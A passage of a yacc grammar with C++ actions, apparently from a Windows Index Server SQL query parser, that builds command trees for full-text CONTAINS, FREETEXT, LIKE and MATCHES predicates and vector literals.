| content_search_cond or_operator content_boolean_term
{
if (DBOP_not == $3->op)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OR_NOT);
YYABORT(DB_E_ERRORSINCOMMAND);
}
$$ = PctCreateBooleanNode(DBOP_or, DEFAULTWEIGHT, $1, $3);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT(E_OUTOFMEMORY);
}
}
;
content_boolean_term:
content_boolean_factor
| content_boolean_term and_operator content_boolean_factor
{
$$ = PctCreateBooleanNode(DBOP_and, DEFAULTWEIGHT, $1, $3);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT(E_OUTOFMEMORY);
}
}
;
content_boolean_factor:
content_boolean_primary
| not_operator content_boolean_primary
{
$$ = PctCreateNotNode(DEFAULTWEIGHT, $2);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT(E_OUTOFMEMORY);
}
}
;
content_boolean_primary:
content_search_term
| '('
{
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L"("));
}
content_search_cond ')'
{
AssertReq($3);
$$ = $3;
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L")"));
}
;
content_search_term:
simple_term
| prefix_term
| proximity_term
| stemming_term
| isabout_term
;
or_operator:
_OR
{
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L" | "));
}
| '|'
{
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L" | "));
}
;
and_operator:
_AND
{
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L" & "));
}
| '&'
{
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L" & "));
}
;
not_operator:
_NOT
{
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L" ! "));
}
| '!'
{
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L" ! "));
}
;
simple_term:
_STRING
{
AssertReq($1);
HRESULT hr = HrQeTreeCopy(&$$, m_pIPTProperties->GetContainsColumn());
if (FAILED(hr))
{
m_pIPTProperties->SetErrorHResult(hr, MONSQL_OUT_OF_MEMORY);
YYABORT(hr);
}
m_pIPTProperties->UseCiColumn(L'@');
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L"\""));
m_pIPTProperties->AppendCiRestriction(((PROPVARIANT*)$1->value.pvValue)->bstrVal,
wcslen(((PROPVARIANT*)$1->value.pvValue)->bstrVal));
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L"\""));
$$ = PctCreateContentNode(((PROPVARIANT*)$1->value.pvValue)->bstrVal, GENERATE_METHOD_EXACT,
DEFAULTWEIGHT, m_pIPSession->GetLCID(), $$);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT(E_OUTOFMEMORY);
}
DeleteDBQT($1);
$1 = NULL;
}
;
prefix_term:
_PREFIX_STRING
{
AssertReq($1);
Assert(((PROPVARIANT*)$1->value.pvValue)->bstrVal[wcslen(
((PROPVARIANT*)$1->value.pvValue)->bstrVal)-1] == L'*');
m_pIPTProperties->UseCiColumn(L'@');
m_pIPTProperties->AppendCiRestriction(((PROPVARIANT*)$1->value.pvValue)->bstrVal,
wcslen(((PROPVARIANT*)$1->value.pvValue)->bstrVal));
((PROPVARIANT*)$1->value.pvValue)->bstrVal[wcslen(
((PROPVARIANT*)$1->value.pvValue)->bstrVal)-1] = L'\0';
HRESULT hr = HrQeTreeCopy(&$$, m_pIPTProperties->GetContainsColumn());
if (FAILED(hr))
{
m_pIPTProperties->SetErrorHResult(hr, MONSQL_OUT_OF_MEMORY);
YYABORT(hr);
}
$$ = PctCreateContentNode(((PROPVARIANT*)$1->value.pvValue)->bstrVal, GENERATE_METHOD_PREFIX,
DEFAULTWEIGHT, m_pIPSession->GetLCID(), $$);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT(E_OUTOFMEMORY);
}
DeleteDBQT($1);
$1 = NULL;
}
proximity_term:
proximity_operand proximity_expression_list
{
AssertReq($1);
AssertReq($2);
$2 = PctReverse($2);
$$ = PctCreateNode(DBOP_content_proximity, DBVALUEKIND_CONTENTPROXIMITY, $1, $2, NULL);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT(E_OUTOFMEMORY);
}
$$->value.pdbcntntproxValue->dwProximityUnit = PROXIMITY_UNIT_WORD;
$$->value.pdbcntntproxValue->ulProximityDistance = 50;
$$->value.pdbcntntproxValue->lWeight = DEFAULTWEIGHT;
}
;
proximity_expression_list:
proximity_expression_list proximity_expression
{
AssertReq($1);
AssertReq($2);
$$ = PctLink($2, $1);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT(E_OUTOFMEMORY);
}
}
| proximity_expression
;
proximity_expression:
proximity_specification proximity_operand
{
AssertReq($2);
$$ = $2; // UNDONE: What is proximity_specification good for?
}
;
proximity_operand:
simple_term
| prefix_term
;
proximity_specification:
_NEAR
{
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L" ~ "));
}
| _NEAR '(' ')'
{
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L" ~ "));
}
/* ************* Not for BETA3 ********************
| _NEAR '(' distance_type ',' distance_value ')'
{
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L"~"));
}
************* Not for BETA3 ********************/
| '~'
{
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L" ~ "));
}
;
/* ************* Not for BETA2 ********************
distance_type:
identifier
{
This should be WORD, SENTENCE, or PARAGRAPH
if (0==_wcsicmp($1->value.pwszValue, L"Jaccard")) ...
}
;
distance_value:
_INTNUM NOTE: Lexer doesn't allower INTNUM in this context
so you'll have to convert a string to an integer
;
************* Not for BETA2 ********************/
stemming_term:
_FORMSOF '(' stem_type ',' stemmed_simple_term_list ')'
{
AssertReq($5);
// UNDONE: Should make use of $3 somewhere in here
$$ = $5;
}
;
stem_type:
_STRING
{
if (0 == _wcsicmp(((PROPVARIANT*)$1->value.pvValue)->bstrVal, L"INFLECTIONAL"))
{
DeleteDBQT($1);
$1 = NULL;
$$ = NULL;
}
/* *************************************NOT IMPLEMENTED BY INDEX SERVER **************************************
else if (0 == _wcsicmp(((PROPVARIANT*)$1->value.pvValue)->bstrVal, L"DERIVATIONAL"))
{
m_pIPTProperties->SetErrorHResult(E_NOTIMPL, MONSQL_PARSE_ERROR);
m_pIPTProperties->SetErrorToken(L"DERIVATIONAL");
YYABORT(E_NOTIMPL);
}
else if (0 == _wcsicmp(((PROPVARIANT*)$1->value.pvValue)->bstrVal, L"SOUNDEX"))
{
m_pIPTProperties->SetErrorHResult(E_NOTIMPL, MONSQL_PARSE_ERROR);
m_pIPTProperties->SetErrorToken(L"DERIVATIONAL");
YYABORT(E_NOTIMPL);
}
else if (0 == _wcsicmp(((PROPVARIANT*)$1->value.pvValue)->bstrVal, L"THESAURUS"))
{
m_pIPTProperties->SetErrorHResult(E_NOTIMPL, MONSQL_PARSE_ERROR);
m_pIPTProperties->SetErrorToken(L"THESAURUS");
YYABORT(E_NOTIMPL);
}
*************************************NOT IMPLEMENTED BY INDEX SERVER ************************************** */
else
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_PARSE_ERROR);
m_pIPTProperties->SetErrorToken(((PROPVARIANT*)$1->value.pvValue)->bstrVal);
m_pIPTProperties->SetErrorToken(L"INFLECTIONAL");
YYABORT(E_NOTIMPL);
}
}
;
stemmed_simple_term_list:
stemmed_simple_term_list ',' simple_term
{
AssertReq($1);
AssertReq($3);
Assert(DBOP_content == $3->op);
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L"**"));
$3->value.pdbcntntValue->dwGenerateMethod = GENERATE_METHOD_INFLECT;
$$ = PctCreateBooleanNode(DBOP_or, DEFAULTWEIGHT, $1, $3);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT(E_OUTOFMEMORY);
}
}
| simple_term
{
AssertReq($1);
Assert(DBOP_content == $1->op);
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L"**"));
$1->value.pdbcntntValue->dwGenerateMethod = GENERATE_METHOD_INFLECT;
$$ = $1;
}
;
isabout_term:
_ISABOUT '(' vector_component_list ')'
{
AssertReq($3);
$3 = PctReverse($3);
$$ = PctCreateNode(DBOP_content_vector_or, DBVALUEKIND_CONTENTVECTOR, $3, NULL);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT(E_OUTOFMEMORY);
}
$$->value.pdbcntntvcValue->dwRankingMethod = m_pIPSession->GetRankingMethod();
$$->value.pdbcntntvcValue->lWeight = DEFAULTWEIGHT;
}
/* *************************************NOT IMPLEMENTED BY INDEX SERVER **************************************
| _COERCE '(' vector_term ')'
{
m_pIPTProperties->SetErrorHResult(E_NOTIMPL, MONSQL_PARSE_ERROR);
m_pIPTProperties->SetErrorToken(L"COERCE");
YYABORT(E_NOTIMPL);
}
*************************************NOT IMPLEMENTED BY INDEX SERVER ************************************** */
;
vector_component_list:
vector_component_list ',' vector_component
{
AssertReq($1);
AssertReq($3);
Assert((DBOP_content == $3->op) || (DBOP_or == $3->op) || (DBOP_content_proximity == $3->op));
$$ = PctLink($3, $1);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT(E_OUTOFMEMORY);
}
}
| vector_component
{
AssertReq($1);
Assert((DBOP_content == $1->op) || (DBOP_or == $1->op) || (DBOP_content_proximity == $1->op));
$$ = $1;
}
;
vector_component:
vector_term _WEIGHT '(' weight_value ')'
{
AssertReq($1);
AssertReq($4);
if (($4->value.pvarValue->dblVal < 0.0) ||
($4->value.pvarValue->dblVal > 1.0))
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_WEIGHT_OUT_OF_RANGE);
WCHAR wchErr[30];
swprintf(wchErr, L"%f", $4->value.pvarValue->dblVal);
m_pIPTProperties->SetErrorToken(wchErr);
YYABORT(DB_E_ERRORSINCOMMAND);
}
$$ = $1;
SetLWeight($$, (LONG) ($4->value.pvarValue->dblVal * DEFAULTWEIGHT));
WCHAR wchWeight[10];
if (swprintf(wchWeight, L"%d", (LONG) ($4->value.pvarValue->dblVal * DEFAULTWEIGHT)))
{
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L"["));
m_pIPTProperties->AppendCiRestriction(wchWeight, wcslen(wchWeight));
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L"] "));
}
DeleteDBQT($4);
$4 = NULL;
}
| vector_term
{
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L" "));
$$ = $1;
}
;
vector_term:
simple_term
| prefix_term
| proximity_term
| stemming_term
;
weight_value:
_STRING
{
HRESULT hr = CoerceScalar(VT_R8, &$1);
if (S_OK != hr)
YYABORT(hr);
$$ = $1;
}
;
opt_greater_than_zero:
/* empty */
{
$$ = NULL;
}
| '>' _INTNUM
{
HRESULT hr = CoerceScalar(VT_I4, &$2);
if (S_OK != hr)
YYABORT(hr);
if (0 != $2->value.pvarValue->lVal)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_PARSE_ERROR);
WCHAR wchErr[30];
swprintf(wchErr, L"%d", $2->value.pvarValue->lVal);
m_pIPTProperties->SetErrorToken(wchErr);
m_pIPTProperties->SetErrorToken(L"0");
YYABORT(DB_E_ERRORSINCOMMAND);
}
DeleteDBQT($2);
$2 = NULL;
$$ = NULL;
}
;
/* 4.4.5 Free-Text Predicate */
freetext_predicate:
_FREETEXT '(' opt_contents_column_reference _STRING ')' opt_greater_than_zero
{
AssertReq(!$3);
AssertReq($4);
HRESULT hr = HrQeTreeCopy(&$$, m_pIPTProperties->GetContainsColumn());
if (FAILED(hr))
{
m_pIPTProperties->SetErrorHResult(hr, MONSQL_OUT_OF_MEMORY);
YYABORT(hr);
}
m_pIPTProperties->UseCiColumn(L'$');
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L"\""));
m_pIPTProperties->AppendCiRestriction(((PROPVARIANT*)$4->value.pvValue)->bstrVal,
wcslen(((PROPVARIANT*)$4->value.pvValue)->bstrVal));
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L"\""));
$$ = PctCreateNode(DBOP_content_freetext, DBVALUEKIND_CONTENT, $$, NULL);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT(E_OUTOFMEMORY);
}
$$->value.pdbcntntValue->pwszPhrase = CoTaskStrDup(((PROPVARIANT*)$4->value.pvValue)->bstrVal);
$$->value.pdbcntntValue->dwGenerateMethod = GENERATE_METHOD_EXACT;
$$->value.pdbcntntValue->lWeight = DEFAULTWEIGHT;
$$->value.pdbcntntValue->lcid = m_pIPSession->GetLCID();
DeleteDBQT(m_pIPTProperties->GetContainsColumn());
m_pIPTProperties->SetContainsColumn(NULL);
DeleteDBQT($4);
$4 = NULL;
}
;
/* 4.4.6 Like Predicate */
like_predicate:
column_reference _LIKE wildcard_search_pattern
{
AssertReq($1);
AssertReq($3);
m_pIPTProperties->UseCiColumn(L'#');
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L"\""));
m_pIPTProperties->AppendCiRestriction(((PROPVARIANT*)$3->value.pvValue)->pwszVal,
wcslen(((PROPVARIANT*)$3->value.pvValue)->pwszVal));
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L"\""));
$$ = PctCreateNode(DBOP_like, DBVALUEKIND_LIKE, $1, $3, NULL);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT(E_OUTOFMEMORY);
}
$$->value.pdblikeValue->guidDialect = DBGUID_LIKE_OFS;
$$->value.pdblikeValue->lWeight = DEFAULTWEIGHT;
}
| column_reference _NOT_LIKE wildcard_search_pattern
{
AssertReq($1);
AssertReq($3);
m_pIPTProperties->UseCiColumn(L'#');
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L"\""));
m_pIPTProperties->AppendCiRestriction(((PROPVARIANT*)$3->value.pvValue)->pwszVal,
wcslen(((PROPVARIANT*)$3->value.pvValue)->pwszVal));
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L"\""));
$2 = PctCreateNode(DBOP_like, DBVALUEKIND_LIKE, $1, $3, NULL);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT(E_OUTOFMEMORY);
}
$2->value.pdblikeValue->guidDialect = DBGUID_LIKE_OFS;
$2->value.pdblikeValue->lWeight = DEFAULTWEIGHT;
$$ = PctCreateNotNode(DEFAULTWEIGHT, $2);
}
;
wildcard_search_pattern:
_STRING
{
UINT cLen = wcslen(((PROPVARIANT*)$1->value.pvValue)->bstrVal);
BSTR bstrCopy = SysAllocStringLen(NULL, 4 * cLen);
if ( 0 == bstrCopy )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
UINT j = 0;
for (UINT i = 0; i <= cLen; i++)
{
switch ( ((PROPVARIANT*)$1->value.pvValue)->bstrVal[i] )
{
case L'%':
bstrCopy[j++] = L'*';
break;
case L'_':
bstrCopy[j++] = L'?';
break;
case L'|':
bstrCopy[j++] = L'|';
bstrCopy[j++] = L'|';
break;
case L'*':
bstrCopy[j++] = L'|';
bstrCopy[j++] = L'[';
bstrCopy[j++] = L'*';
bstrCopy[j++] = L']';
break;
case L'?':
bstrCopy[j++] = L'|';
bstrCopy[j++] = L'[';
bstrCopy[j++] = L'?';
bstrCopy[j++] = L']';
break;
case L'[':
// UNDONE: Make sure we're not going out of range with these tests
if ((L'%' == ((PROPVARIANT*)$1->value.pvValue)->bstrVal[i+1]) &&
(L']' == ((PROPVARIANT*)$1->value.pvValue)->bstrVal[i+2]))
{
bstrCopy[j++] = L'%';
i = i + 2;
}
else if ((L'_' == ((PROPVARIANT*)$1->value.pvValue)->bstrVal[i+1]) &&
(L']' == ((PROPVARIANT*)$1->value.pvValue)->bstrVal[i+2]))
{
bstrCopy[j++] = L'_';
i = i + 2;
}
else if ((L'[' == ((PROPVARIANT*)$1->value.pvValue)->bstrVal[i+1]) &&
(L']' == ((PROPVARIANT*)$1->value.pvValue)->bstrVal[i+2]))
{
bstrCopy[j++] = L'[';
i = i + 2;
}
else if ((L'^' == ((PROPVARIANT*)$1->value.pvValue)->bstrVal[i+1]) &&
(L']' == ((PROPVARIANT*)$1->value.pvValue)->bstrVal[i+2]) &&
(wcschr((WCHAR*)&(((PROPVARIANT*)$1->value.pvValue)->bstrVal[i+3]), L']')))
{
bstrCopy[j++] = L'|';
bstrCopy[j++] = L'[';
bstrCopy[j++] = L'^';
bstrCopy[j++] = L']';
i = i + 2;
}
else
{
bstrCopy[j++] = L'|';
bstrCopy[j++] = ((PROPVARIANT*)$1->value.pvValue)->bstrVal[i++];
while ((((PROPVARIANT*)$1->value.pvValue)->bstrVal[i] != L']') && (i < cLen))
bstrCopy[j++] = ((PROPVARIANT*)$1->value.pvValue)->bstrVal[i++];
if (i < cLen)
bstrCopy[j++] = ((PROPVARIANT*)$1->value.pvValue)->bstrVal[i];
}
break;
default:
bstrCopy[j++] = ((PROPVARIANT*)$1->value.pvValue)->bstrVal[i];
break;
}
}
SysFreeString(((PROPVARIANT*)$1->value.pvValue)->bstrVal);
((PROPVARIANT*)$1->value.pvValue)->pwszVal = CoTaskStrDup(bstrCopy);
((PROPVARIANT*)$1->value.pvValue)->vt = VT_LPWSTR;
SysFreeString(bstrCopy);
$$ = $1;
}
;
/* 4.4.6 Matches Predicate */
matches_predicate:
_MATCHES '(' column_reference ',' matches_string ')' opt_greater_than_zero
{
AssertReq($3);
AssertReq($5);
m_pIPTProperties->UseCiColumn(L'#');
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L"\""));
m_pIPTProperties->AppendCiRestriction(((PROPVARIANT*)$5->value.pvValue)->pwszVal,
wcslen(((PROPVARIANT*)$5->value.pvValue)->pwszVal));
m_pIPTProperties->AppendCiRestriction(VAL_AND_CCH_MINUS_NULL(L"\""));
$$ = PctCreateNode(DBOP_like, DBVALUEKIND_LIKE, $3, $5, NULL);
if (NULL == $$)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT(E_OUTOFMEMORY);
}
$$->value.pdblikeValue->guidDialect = DBGUID_LIKE_OFS;
$$->value.pdblikeValue->lWeight = DEFAULTWEIGHT;
}
;
matches_string:
_STRING
{
AssertReq($1);
HRESULT hr = CoerceScalar(VT_LPWSTR, &$1);
if (S_OK != hr)
YYABORT(hr);
LPWSTR pwszMatchString = ((PROPVARIANT*)$1->value.pvValue)->pwszVal;
while (*pwszMatchString)
{
// perform some soundness checking on string since Index Server won't be happy
// with an ill formed string
if (L'|' == *pwszMatchString++)
{
hr = DB_E_ERRORSINCOMMAND;
switch ( *pwszMatchString++ )
{
case L'(':
while (*pwszMatchString)
if (L'|' == *pwszMatchString++)
if (*pwszMatchString)
if (L')' == *pwszMatchString++)
{
hr = S_OK;
break;
}
break;
case L'{':
while (*pwszMatchString)
if (L'|' == *pwszMatchString++)
if (*pwszMatchString)
if (L'}' == *pwszMatchString++)
{
hr = S_OK;
break;
}
break;
default:
hr = S_OK;
}
}
}
if (S_OK != hr)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_MATCH_STRING);
YYABORT(hr);
}
$$ = $1;
}
;
/* 4.4.7 Qantified Comparison Predicate */
vector_comparison_predicate:
column_reference_or_cast vector_comp_op vector_literal
{
AssertReq($1);
AssertReq($2);
DBCOMMANDTREE * pct = 0;
if ( m_pIPTProperties->GetDBType() & DBTYPE_VECTOR )
{
pct = PctAllocNode(DBVALUEKIND_VARIANT, DBOP_scalar_constant);
if (NULL == pct)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
DBCOMMANDTREE* pctList=$3;
UINT i = 0;
pct->value.pvarValue->vt = m_pIPTProperties->GetDBType();
((PROPVARIANT*)pct->value.pvarValue)->caub.cElems = GetNumberOfSiblings($3);
if (0 == ((PROPVARIANT*)pct->value.pvarValue)->caub.cElems)
{
((PROPVARIANT*)pct->value.pvarValue)->caub.pElems = (UCHAR*) NULL;
}
else
{
switch ( m_pIPTProperties->GetDBType() )
{
case (VT_UI1|VT_VECTOR):
((PROPVARIANT*)pct->value.pvarValue)->caub.pElems =
(UCHAR*) CoTaskMemAlloc(sizeof(UCHAR)*((PROPVARIANT*)pct->value.pvarValue)->caub.cElems);
if (NULL == ((PROPVARIANT*)pct->value.pvarValue)->caub.pElems)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
for (i = 0; i<((PROPVARIANT*)pct->value.pvarValue)->caub.cElems; i++)
{
((PROPVARIANT*)pct->value.pvarValue)->caub.pElems[i] = pctList->value.pvarValue->bVal;
pctList = pctList->pctNextSibling;
}
break;
case (VT_I1|VT_VECTOR):
((PROPVARIANT*)pct->value.pvarValue)->cac.pElems =
(CHAR*) CoTaskMemAlloc(sizeof(CHAR)*((PROPVARIANT*)pct->value.pvarValue)->cac.cElems);
if (NULL == ((PROPVARIANT*)pct->value.pvarValue)->cac.pElems)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
for (i = 0; i<((PROPVARIANT*)pct->value.pvarValue)->cac.cElems; i++)
{
((PROPVARIANT*)pct->value.pvarValue)->cac.pElems[i] = pctList->value.pvarValue->cVal;
pctList = pctList->pctNextSibling;
}
break;
case (VT_UI2|VT_VECTOR):
((PROPVARIANT*)pct->value.pvarValue)->caui.pElems =
(USHORT*) CoTaskMemAlloc(sizeof(USHORT)*((PROPVARIANT*)pct->value.pvarValue)->caui.cElems);
if (NULL == ((PROPVARIANT*)pct->value.pvarValue)->caui.pElems)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
for (i = 0; i<((PROPVARIANT*)pct->value.pvarValue)->caui.cElems; i++)
{
((PROPVARIANT*)pct->value.pvarValue)->caui.pElems[i] = pctList->value.pvarValue->uiVal;
pctList = pctList->pctNextSibling;
}
break;
case (VT_I2|VT_VECTOR):
((PROPVARIANT*)pct->value.pvarValue)->cai.pElems =
(SHORT*) CoTaskMemAlloc(sizeof(SHORT)*((PROPVARIANT*)pct->value.pvarValue)->cai.cElems);
if (NULL == ((PROPVARIANT*)pct->value.pvarValue)->cai.pElems)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
for (i = 0; i<((PROPVARIANT*)pct->value.pvarValue)->cai.cElems; i++)
{
((PROPVARIANT*)pct->value.pvarValue)->cai.pElems[i] = pctList->value.pvarValue->iVal;
pctList = pctList->pctNextSibling;
}
break;
case (VT_UI4|VT_VECTOR):
((PROPVARIANT*)pct->value.pvarValue)->caul.pElems =
(ULONG*) CoTaskMemAlloc(sizeof(ULONG)*((PROPVARIANT*)pct->value.pvarValue)->caul.cElems);
if (NULL == ((PROPVARIANT*)pct->value.pvarValue)->caul.pElems)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
for (i = 0; i<((PROPVARIANT*)pct->value.pvarValue)->caul.cElems; i++)
{
((PROPVARIANT*)pct->value.pvarValue)->caul.pElems[i] = pctList->value.pvarValue->ulVal;
pctList = pctList->pctNextSibling;
}
break;
case (VT_I4|VT_VECTOR):
((PROPVARIANT*)pct->value.pvarValue)->cal.pElems =
(LONG*) CoTaskMemAlloc(sizeof(LONG)*((PROPVARIANT*)pct->value.pvarValue)->cal.cElems);
if (NULL == ((PROPVARIANT*)pct->value.pvarValue)->cal.pElems)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
for (i = 0; i<((PROPVARIANT*)pct->value.pvarValue)->cal.cElems; i++)
{
((PROPVARIANT*)pct->value.pvarValue)->cal.pElems[i] = pctList->value.pvarValue->lVal;
pctList = pctList->pctNextSibling;
}
break;
case (VT_UI8|VT_VECTOR):
((PROPVARIANT*)pct->value.pvarValue)->cauh.pElems =
(ULARGE_INTEGER*) CoTaskMemAlloc(sizeof(ULARGE_INTEGER)*((PROPVARIANT*)pct->value.pvarValue)->cauh.cElems);
if (NULL == ((PROPVARIANT*)pct->value.pvarValue)->cauh.pElems)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
for (i = 0; i<((PROPVARIANT*)pct->value.pvarValue)->cauh.cElems; i++)
{
((PROPVARIANT*)pct->value.pvarValue)->cauh.pElems[i] = ((PROPVARIANT*)pctList->value.pvarValue)->uhVal;
pctList = pctList->pctNextSibling;
}
break;
case (VT_I8|VT_VECTOR):
((PROPVARIANT*)pct->value.pvarValue)->cah.pElems =
(LARGE_INTEGER*) CoTaskMemAlloc(sizeof(LARGE_INTEGER)*((PROPVARIANT*)pct->value.pvarValue)->cah.cElems);
if (NULL == ((PROPVARIANT*)pct->value.pvarValue)->cah.pElems)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
for (i = 0; i<((PROPVARIANT*)pct->value.pvarValue)->cah.cElems; i++)
{
((PROPVARIANT*)pct->value.pvarValue)->cah.pElems[i] = ((PROPVARIANT*)pctList->value.pvarValue)->hVal;
pctList = pctList->pctNextSibling;
}
break;
case (VT_R4|VT_VECTOR):
((PROPVARIANT*)pct->value.pvarValue)->caflt.pElems =
(float*) CoTaskMemAlloc(sizeof(float)*((PROPVARIANT*)pct->value.pvarValue)->caflt.cElems);
if (NULL == ((PROPVARIANT*)pct->value.pvarValue)->caflt.pElems)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
for (i = 0; i<((PROPVARIANT*)pct->value.pvarValue)->caflt.cElems; i++)
{
((PROPVARIANT*)pct->value.pvarValue)->caflt.pElems[i] = pctList->value.pvarValue->fltVal;
pctList = pctList->pctNextSibling;
}
break;
case (VT_R8|VT_VECTOR):
((PROPVARIANT*)pct->value.pvarValue)->cadbl.pElems =
(double*) CoTaskMemAlloc(sizeof(double)*((PROPVARIANT*)pct->value.pvarValue)->cadbl.cElems);
if (NULL == ((PROPVARIANT*)pct->value.pvarValue)->cadbl.pElems)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
for (i = 0; i<((PROPVARIANT*)pct->value.pvarValue)->cadbl.cElems; i++)
{
((PROPVARIANT*)pct->value.pvarValue)->cadbl.pElems[i] = pctList->value.pvarValue->dblVal;
pctList = pctList->pctNextSibling;
}
break;
case (VT_BOOL|VT_VECTOR):
((PROPVARIANT*)pct->value.pvarValue)->cabool.pElems =
(VARIANT_BOOL*) CoTaskMemAlloc(sizeof(VARIANT_BOOL)*((PROPVARIANT*)pct->value.pvarValue)->cabool.cElems);
if (NULL == ((PROPVARIANT*)pct->value.pvarValue)->cabool.pElems)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
for (i = 0; i<((PROPVARIANT*)pct->value.pvarValue)->cabool.cElems; i++)
{
((PROPVARIANT*)pct->value.pvarValue)->cabool.pElems[i] = pctList->value.pvarValue->boolVal;
pctList = pctList->pctNextSibling;
}
break;
case (VT_CY|VT_VECTOR):
((PROPVARIANT*)pct->value.pvarValue)->cacy.pElems =
